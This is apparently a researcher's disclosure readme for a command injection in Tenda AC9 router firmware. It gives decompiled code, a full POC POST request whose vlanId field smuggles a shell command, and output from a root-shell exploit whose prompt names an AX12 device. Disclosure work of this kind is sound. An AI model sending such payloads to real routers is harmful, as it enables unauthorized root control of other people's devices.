

main IOT_vuln / Tenda / AC9 / 11 /



fuxianghah TendaAC9 update ...

on Feb 14 History

..



img

10 months ago



readme.md

10 months ago



readme.md

Tenda AC9 V15.03.2.21_cn Command Execution Vulnerability

Overview

- Manufacturer's website information: <https://www.tenda.com.cn/profile/contact.html>
- Firmware download address : <https://www.tenda.com.cn/download/default.html>

1. Affected version

当前版本: V15.03.2.21_cn

升级类型: ☐ 本地升级 ☒ 在线升级

当前版本为最新版本, 不需要升级

Figure 1 shows the latest firmware Ba of the router

Vulnerability details

```
17 v12 = 0;  
18 memset(v5, 0, sizeof(v5));  
19 memset(v4, 0, sizeof(v4));  
20 v11 = 0;  
21 s1 = (char *)huoqu(a1, (int)"stbEn", (int)"0");  
22 nptr = (char *)huoqu(a1, (int)"igmpEn", (int)"0");  
23 v8 = (char *)huoqu(a1, (int)"vlanId", (int)&unk_D3ED4);  
24 GetValue("adv.iptv.stbpvid", s);  
25 GetValue("iptv.stb.enable", s2);  
26 printf("%s [%d] pvid=%s pvid_bf=%s\n", "formSetVlan", 292, v8, s);  
27 if ( strcmp(s1, s2) || strcmp(v8, s) )
```

First, it puts the content after the vlanid parameter into V8, Then bring V8 into sub_ A3760 and sub_ In a3550 function

```
50 }  
51 if ( atoi(s1) == 1 )  
52     sub_A3550(v8, v8);  
53 else  
54     sub_A3760(v8);  
55 doSystemCmd("nvram commit");  
56 v1 = printf("[he debug]:%s %d==nvram
```

```

1 int __fastcall sub_A3550(const char *a1, const char *a2)
2 {
3     SetValue((int)"iptv.stb.enable", (int)"1");
4     doSystemCmd("nvram set iptv.stb.enable=1");
5     SetValue((int)"adv.iptv.stballvlans", (int)a2);
6     SetValue((int)"adv.iptv.stbpvid", (int)a1);
7     doSystemCmd("nvram set adv.iptv.stballvlans=\"%s\"", a2);
8     return doSystemCmd("nvram set adv.iptv.stbpvid=\"%s\"", a1);
9 }

```

The functions call dosystemcmd, and the parameters are controllable. We can achieve the effect of command injection by constructing payload

Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

1. Use the fat simulation firmware V15.03.2.21_cn
2. Attack with the following POC attacks

```

POST /goform/SetIPTVCfg HTTP/1.1
Host: 192.168.11.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101
Firefox/96.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 51
Origin: http://192.168.11.1
Connection: close
Referer: http://192.168.11.1/iptv.html?random=0.7642888131213508&
Cookie: password=7c90ed4e4d4bf1e300aa08103057ccbcmho1qw

```

```
stbEn=1&igmpEn=1&vlanId=1"echo 1234 > /tmp/4455 "\
```

The reproduction results are as follows:

```

/tmp # ls
4455          td_acs_auto_bandwidth_log  wps_monitor.pid
auto.socket   td_acs_dbg_svr
/tmp # find / -name *.sh

```

Figure 2 POC attack effect

Finally, you can write exp, which can achieve a very stable effect of obtaining the root shell

```
iot@attifyos ~/0/1/AX12> python3 exp2.py
iot@attifyos ~/0/1/AX12>

root@AX12:/# ls
bin      files   opt     rom     sys     var
dev      lib     overlay root     tmp     www
etc      mnt     proc    sbin    usr
root@AX12:/# id
uid=0(root) gid=0(root) groups=0(root)
root@AX12:/#
```